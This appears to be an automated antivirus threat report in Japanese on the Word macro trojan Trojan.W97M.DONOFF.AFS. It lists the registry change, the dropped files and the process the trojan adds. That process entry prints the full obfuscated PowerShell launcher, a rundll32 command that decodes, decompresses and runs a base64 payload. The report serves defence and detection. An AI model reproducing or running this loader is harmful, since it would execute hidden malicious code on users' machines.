Trojan.W97M.DONOFF.AFS

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• runDLl32 SHELL32.DLL, ShellExec_RunDLL "PowersHEll" " . ( $SHeLLID[1]+$sheLliD[13]+'X')( neW-oBjECT iO.STreAMreadEr( ( neW-oBjECT sySTem.iO.CoMpRESsIOn.dEfLAtESTreaM( [System.IO.MEMoRYStREAm][sYSTEM.CoNVErt]::fROmbasE64STRinG( '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' ) ,[iO.CoMPRESSiON.coMPResSiOnmodE]::DecOmpress ) ) , [SyStEM.Text.encoDInG]::asCII) ).reaDtoend() "

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

作成活動

マルウェアは、以下のファイルを作成します。

• {malware file path and name}
• %User Temp%\16902557.od
• %AppDataLocal%\GDIPFONTCACHEV1.DAT

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

このウイルス情報は、自動解析システムにより作成されました。